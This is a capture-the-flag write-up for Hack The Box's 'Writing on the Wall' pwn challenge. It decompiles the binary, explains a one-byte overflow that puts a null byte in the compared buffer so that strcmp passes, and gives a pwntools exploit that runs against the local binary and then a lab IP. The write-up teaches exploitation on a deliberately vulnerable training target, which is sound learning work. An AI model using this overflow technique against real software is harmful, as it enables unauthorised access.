Writing on the Wall is a very easy Pwn Challenge from Hack The Box. The description reads:

As you approach a password-protected door, a sense of uncertainty envelops you—no clues, no hints. Yet, just as confusion takes hold, your gaze locks onto cryptic markings adorning the nearby wall. Could this be the elusive password, waiting to unveil the door’s secrets?

The challenge directory contains a dummy flag.txt which can be used for testing, a glibc folder and a file called writing_on_the_wall:

$ tree .

.
└── challenge
    ├── flag.txt
    ├── glibc
    │   ├── ld-linux-x86-64.so.2
    │   └── libc.so.6
    └── writing_on_the_wall

3 directories, 4 files

With the Linux command line utility file, we can see that the file is an executable:

$ file writing_on_the_wall

writing_on_the_wall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=e1865b228b26ed7b4714423d70d822f6f188e63c, for GNU/Linux 3.2.0, not stripped

We can further examine the security settings of the binary using checksec:

$ checksec ./writing_on_the_wall

[*] './writing_on_the_wall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./glibc/'

Okay, since nothing really stands out, let’s just run the executable and see what it does:

The executable displays some text, then prompts for input and exits.

The executable displays some text, then prompts for input and exits.

So it basically prints some text and prompts for input. After giving the wrong input the program exits without displaying the flag.

Next, we can start to analyse the executable in Ghidra.

Let’s first have a look at the main function to get an overview of the executable’s functionality. We can navigate to the main function by selecting it in the Symbol Tree in the right pane of the Ghidra window:

Symbol tree of the executable from Ghidra.

Symbol tree of the executable from Ghidra.

The decompiled main function looks like this:

undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_1e [6];
  undefined8 local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_18 = 0x2073736170743377;
  read(0,local_1e,7);
  iVar1 = strcmp(local_1e,(char *)&local_18);
  if (iVar1 == 0) {
    open_door();
  }
  else {
    error("You activated the alarm! Troops are coming your way, RUN!\n");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

At first glance we see a call to read and strcmp (string comparison) and an if block that calls a function called open_door. This open_door function just reads the flag.txt and displays it’s contents:

void open_door(void)

{
  ssize_t sVar1;
  long in_FS_OFFSET;
  char local_15;
  int local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_14 = open("./flag.txt",0);
  if (local_14 < 0) {
    perror("\nError opening flag.txt, please contact an Administrator.\n");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  printf("You managed to open the door! Here is the password for the next one: ");
  while( true ) {
    sVar1 = read(local_14,&local_15,1);
    if (sVar1 < 1) break;
    fputc((int)local_15,stdout);
  }
  close(local_14);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

So, our objective is pretty clear: Make the program execute the open_door function (probably by making the string comparison return true).

So it seems like our only chance to control the execution flow is by manipulating the input. Therefore, let’s have a deeper look at the main function. First, we tidy up the code by renaming and retyping some variables to make it more human readable:

undefined8 main(void) {
	// 0. Some local variables are defined
	long lVar1;
	int comparison_result;
	long in_FS_OFFSET;
	char read_buffer [6];
	char secret_value [8];
	
	lVar1 = *(long *)(in_FS_OFFSET + 0x28);

	// 1. The value of secret_value is set to "w3tpass "
	secret_value[0] = 'w';
	secret_value[1] = '3';
	secret_value[2] = 't';
	secret_value[3] = 'p';
	secret_value[4] = 'a';
	secret_value[5] = 's';
	secret_value[6] = 's';
	secret_value[7] = ' ';

	// 2. 7 bytes of input are written to read_buffer
	read(0, read_buffer, 7);

	// 3. read_buffer and secret_value are compared via string comparison (strcmp)
	comparison_result = strcmp(read_buffer, secret_value);

	// 4. If the strings match, the flag is read with the open_door function
	if (comparison_result == 0) {
		open_door();
	} else {
	    error("You activated the alarm! Troops are coming your way, RUN!\n");
	}
	
	if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
		/* WARNING: Subroutine does not return */
	    __stack_chk_fail();
	}
	
	return 0;
  1. The value of secret_value is set to w3tpass
  2. 7 bytes of input are written to read_buffer
  3. read_buffer and secret_value are compared via string comparison (strcmp)
  4. If the strings match, the flag is read with the open_door function

Okay, the secret_value buffer is 7 bytes long, but the read_buffer is only 6 bytes long. This means we cannot just enter w3tpass and go home.

However, since the read_buffer is only 6 bytes long and the read function reads 7 bytes, we can overwrite a byte that we should not be able to overwrite. To know what byte we can overwrite we need to have a look at the binary again:

char read_buffer [6];
char secret_value [8];

We can see that the secret_value array is defined after the read_buffer. In memory it would look like this:

So, with our 7 byte input we can write to the 6 bytes of read_buffer AND the first byte of the secret_value. We can exploit this and the fact that a string comparison is used:

comparison_result = strcmp(read_buffer, secret_value);

In memory, a string is represented as an array of bytes, terminated with a special character, the nullbyte (0x00):

So when we write a nullbyte to the first byte of the read_buffer and to the first byte of the secret_value array, they are both essentially interpreted as an empty string by strcmp.

And since two empty strings are the same, we will pass the comparison!

With pwntools it is fairly easy to write a small exploit for the local binary:

from pwn import *

# Set the target binary within the context variable
context.binary = './writing_on_the_wall'

# Start a new process with the binary specified in context.binary
p = process()

# Print the output to the console
print(p.recv().decode())

# 7 byte long payload, the first and the last byte must be a nullbyte (\x00)
# The other five bytes in the middle are not relevant
payload = b'\x00' + b'\xde\xad\xbe\xef\xff' + b'\x00'

# Send the payload to the target binary
p.send(payload)

# Receive and print the output to the console
info(p.recvline.decode())

After loading the pwn module, we set context.binary to the target binary and start a new process. We then receive some bytes from the binary and print them to the screen. Then, we create our 7 bytes long payload starting and ending with a nullbyte (\x00) and send it to the process. Then, we read the binary output again, hopefully containing the flag:

Successfully running the exploit against the local executable and retrieving the test flag.

Successfully running the exploit against the local executable and retrieving the test flag.

It works!

Now, instead of creating a new process with process(), we connect to the Hack The Box lab machine via remote('94.237.49.212', 53665):

from pwn import *

# Set the target binary within the context variable
context.binary = './writing_on_the_wall'

# Attach to a remote host / port
p = remote('94.237.49.212', 53665)

# Print the output to the console
print(p.recv().decode())

# 7 byte long payload, the first and the last byte must be a nullbyte (\x00)
# The other five bytes in the middle are not relevant
payload = b'\x00' + b'\xde\xad\xbe\xef\xff' + b'\x00'

# Send the payload to the target binary
p.send(payload)

# Receive and print the output to the console
info(p.recvline().decode())

Executing the exploit targeting the remote machine reveals the actual flag:

Running the exploit against the remote target.

Running the exploit against the remote target.

Shout-Outs